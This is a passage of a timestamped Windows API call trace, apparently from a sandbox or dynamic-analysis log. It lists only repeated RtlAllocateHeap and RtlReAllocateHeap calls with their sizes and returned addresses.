0x6d4288 [0129.784] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x54) returned 0x6d17f0 [0129.784] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d42a8 [0129.784] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x58) returned 0x6d17f0 [0129.784] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d42c8 [0129.784] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x5c) returned 0x6d17f0 [0129.784] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d42e8 [0129.784] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x60) returned 0x6d17f0 [0129.784] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4308 [0129.784] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x64) returned 0x6d17f0 [0129.784] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4328 [0129.784] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x68) returned 0x6d17f0 [0129.784] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4348 [0129.784] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x6c) returned 0x6d17f0 [0129.784] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4368 [0129.784] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x70) returned 0x6d17f0 [0129.784] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4388 [0129.784] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x74) returned 0x6d17f0 [0129.784] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d43a8 [0129.784] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x78) returned 0x6d17f0 [0129.784] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d43c8 [0129.784] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x7c) returned 0x6d17f0 [0129.784] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d43e8 [0129.784] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x80) returned 0x6d17f0 [0129.784] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4408 [0129.784] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x84) returned 0x6d17f0 [0129.784] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4428 [0129.784] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x88) returned 0x6d17f0 [0129.784] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4448 [0129.784] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x8c) returned 0x6d17f0 [0129.784] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4468 [0129.784] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x90) returned 0x6d17f0 [0129.785] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4488 [0129.785] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x94) returned 0x6d17f0 [0129.785] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d44a8 [0129.785] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x98) returned 0x6d17f0 [0129.785] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d44c8 [0129.785] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x9c) returned 0x6d17f0 [0129.785] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d44e8 [0129.785] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0xa0) returned 0x6d17f0 [0129.785] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4508 [0129.785] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0xa4) returned 0x6d02b0 [0129.785] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4528 [0129.785] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d02b0, Size=0xa8) returned 0x6d02b0 [0129.785] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4548 [0129.785] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d02b0, Size=0xac) returned 0x6d02b0 [0129.785] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4568 [0129.785] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d02b0, Size=0xb0) returned 0x6d02b0 [0129.785] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d45a8 [0129.785] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d02b0, Size=0xb4) returned 0x6d02b0 [0129.785] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d45c8 [0129.785] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d02b0, Size=0xb8) returned 0x6d02b0 [0129.785] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d45e8 [0129.785] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d02b0, Size=0xbc) returned 0x6d02b0 [0129.785] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4608 [0129.785] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d02b0, Size=0xc0) returned 0x6d02b0 [0129.785] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4628 [0129.785] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d02b0, Size=0xc4) returned 0x6d02b0 [0129.785] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4648 [0129.785] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d02b0, Size=0xc8) returned 0x6d02b0 [0129.785] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4668 [0129.785] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d02b0, Size=0xcc) returned 0x6d02b0 [0129.785] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4688 [0129.785] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6ca788, Size=0x30) returned 0x6ca7f8 [0129.786] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d46a8 [0129.786] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x4) returned 0x6cc038 [0129.786] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d46c8 [0129.786] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc038, Size=0x8) returned 0x6cc048 [0129.786] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d46e8 [0129.786] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x4) returned 0x6cc038 [0129.786] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4708 [0129.786] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc038, Size=0x8) returned 0x6cc028 [0129.786] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4728 [0129.786] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc028, Size=0xc) returned 0x6c3928 [0129.786] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4748 [0129.786] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c3928, Size=0x10) returned 0x6c3898 [0129.786] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4768 [0129.786] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c3898, Size=0x14) returned 0x6d4788 [0129.786] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d47a8 [0129.786] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d4788, Size=0x18) returned 0x6d47c8 [0129.786] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4788 [0129.786] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d47c8, Size=0x1c) returned 0x6cf840 [0129.786] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d47c8 [0129.786] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cf840, Size=0x20) returned 0x6cf890 [0129.786] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d47e8 [0129.786] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cf890, Size=0x24) returned 0x6c8538 [0129.786] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4808 [0129.786] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c8538, Size=0x28) returned 0x6c8568 [0129.786] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4828 [0129.786] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c8568, Size=0x2c) returned 0x6ca788 [0129.786] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4848 [0129.786] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6ca788, Size=0x30) returned 0x6ca7c0 [0129.786] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4868 [0129.786] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6ca7c0, Size=0x34) returned 0x6c9a10 [0129.786] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4888 [0129.786] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c9a10, Size=0x38) returned 0x6c99d0 [0129.786] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d48a8 [0129.786] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c99d0, Size=0x3c) returned 0x6c2350 [0129.786] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d48c8 [0129.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c2350, Size=0x40) returned 0x6c2308 [0129.787] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d48e8 [0129.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c2308, Size=0x44) returned 0x6d0388 [0129.787] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4908 [0129.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x48) returned 0x6d0388 [0129.787] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4928 [0129.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x4c) returned 0x6d0388 [0129.787] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4948 [0129.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x50) returned 0x6d0388 [0129.787] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4968 [0129.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x54) returned 0x6d0388 [0129.787] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4988 [0129.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x58) returned 0x6d0388 [0129.787] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d49a8 [0129.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x5c) returned 0x6d0388 [0129.787] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d49c8 [0129.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x60) returned 0x6d0388 [0129.787] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d49e8 [0129.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x64) returned 0x6d0388 [0129.787] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4a08 [0129.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x68) returned 0x6d0388 [0129.787] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4a28 [0129.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x6c) returned 0x6d0388 [0129.787] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4a48 [0129.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x70) returned 0x6d0388 [0129.787] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4a68 [0129.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x74) returned 0x6d0388 [0129.787] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4a88 [0129.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x78) returned 0x6d0388 [0129.787] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4aa8 [0129.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x7c) returned 0x6d17f0 [0129.787] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4ac8 [0129.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x80) returned 0x6d17f0 [0129.787] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4ae8 [0129.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x84) returned 0x6d17f0 [0129.787] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4b08 [0129.788] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x88) returned 0x6d17f0 [0129.788] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4b28 [0129.788] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x8c) returned 0x6d17f0 [0129.788] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4b48 [0129.788] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x90) returned 0x6d17f0 [0129.788] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4b68 [0129.788] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x94) returned 0x6d17f0 [0129.788] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4b88 [0129.788] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x98) returned 0x6d17f0 [0129.788] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4ba8 [0129.788] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x9c) returned 0x6d17f0 [0129.788] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4bc8 [0129.788] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0xa0) returned 0x6d17f0 [0129.788] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4be8 [0129.788] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0xa4) returned 0x6d4d90 [0129.788] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4c08 [0129.788] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d4d90, Size=0xa8) returned 0x6d4d90 [0129.788] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4c28 [0129.788] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d4d90, Size=0xac) returned 0x6d4d90 [0129.788] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4c48 [0129.788] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d4d90, Size=0xb0) returned 0x6d4d90 [0129.788] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4c68 [0129.788] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d4d90, Size=0xb4) returned 0x6d4d90 [0129.788] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4c88 [0129.789] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d4d90, Size=0xb8) returned 0x6d4d90 [0129.789] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4ca8 [0129.789] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d4d90, Size=0xbc) returned 0x6d4d90 [0129.789] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4cc8 [0129.789] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d4d90, Size=0xc0) returned 0x6d4d90 [0129.789] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4ce8 [0129.789] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d4d90, Size=0xc4) returned 0x6d4d90 [0129.789] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4d08 [0129.789] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d4d90, Size=0xc8) returned 0x6d4d90 [0129.789] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4d28 [0129.789] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d4d90, Size=0xcc) returned 0x6d4d90 [0129.789] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4d48 [0129.789] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d4d90, Size=0xd0) returned 0x6d4d90 [0129.789] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4d68 [0129.789] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d4d90, Size=0xd4) returned 0x6d4d90 [0129.789] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4e88 [0129.789] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d4d90, Size=0xd8) returned 0x6d4d90 [0129.789] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4ea8 [0129.789] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d4d90, Size=0xdc) returned 0x6d5670 [0129.789] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4ec8 [0129.790] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d5670, Size=0xe0) returned 0x6d5670 [0129.790] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4ee8 [0129.790] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d5670, Size=0xe4) returned 0x6d5670 [0129.790] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4f08 [0129.790] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d5670, Size=0xe8) returned 0x6d5670 [0129.790] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4f28 [0129.790] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d5670, Size=0xec) returned 0x6d5670 [0129.790] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4f48 [0129.790] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d5670, Size=0xf0) returned 0x6d5670 [0129.790] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4f68 [0129.790] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d5670, Size=0xf4) returned 0x6d5670 [0129.790] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4f88 [0129.790] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d5670, Size=0xf8) returned 0x6d5670 [0129.790] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4fa8 [0129.790] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d5670, Size=0xfc) returned 0x6d5670 [0129.790] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4fc8 [0129.790] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d5670, Size=0x100) returned 0x6d5670 [0129.790] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4fe8 [0129.790] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d5670, Size=0x104) returned 0x6d5670 [0129.790] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5008 [0129.790] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d5670, Size=0x108) returned 0x6d5670 [0129.790] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5028 [0129.790] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc048, Size=0xc) returned 0x6c3898 [0129.790] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5048 [0129.791] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x4) returned 0x6cc048 [0129.791] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5068 [0129.791] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc048, Size=0x8) returned 0x6cc028 [0129.791] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5088 [0129.791] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc028, Size=0xc) returned 0x6c3928 [0129.791] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d50a8 [0129.791] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c3928, Size=0x10) returned 0x6d5798 [0129.791] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d50c8 [0129.791] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d5798, Size=0x14) returned 0x6d50e8 [0129.791] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5108 [0129.791] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d50e8, Size=0x18) returned 0x6d5128 [0129.791] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d50e8 [0129.791] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d5128, Size=0x1c) returned 0x6cf890 [0129.791] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5128 [0129.791] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cf890, Size=0x20) returned 0x6cf840 [0129.791] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5148 [0129.791] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cf840, Size=0x24) returned 0x6c8568 [0129.791] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5168 [0129.791] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c8568, Size=0x28) returned 0x6c8538 [0129.791] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5188 [0129.791] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c8538, Size=0x2c) returned 0x6ca7c0 [0129.791] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d51a8 [0129.791] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6ca7c0, Size=0x30) returned 0x6ca788 [0129.791] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d51c8 [0129.791] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6ca788, Size=0x34) returned 0x6c99d0 [0129.791] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d51e8 [0129.791] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c99d0, Size=0x38) returned 0x6c9a10 [0129.791] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5208 [0129.791] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c9a10, Size=0x3c) returned 0x6c2308 [0129.791] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5228 [0129.791] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c2308, Size=0x40) returned 0x6c2350 [0129.792] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5248 [0129.792] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c2350, Size=0x44) returned 0x6d0388 [0129.792] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5268 [0129.792] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x48) returned 0x6d0388 [0129.792] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d5288 [0129.792] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x4c) returned 0x6d0388 [0129.792] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d52a8 [0129.792] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d0388, Size=0x50) returned 0x6d0388 [0129.792] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 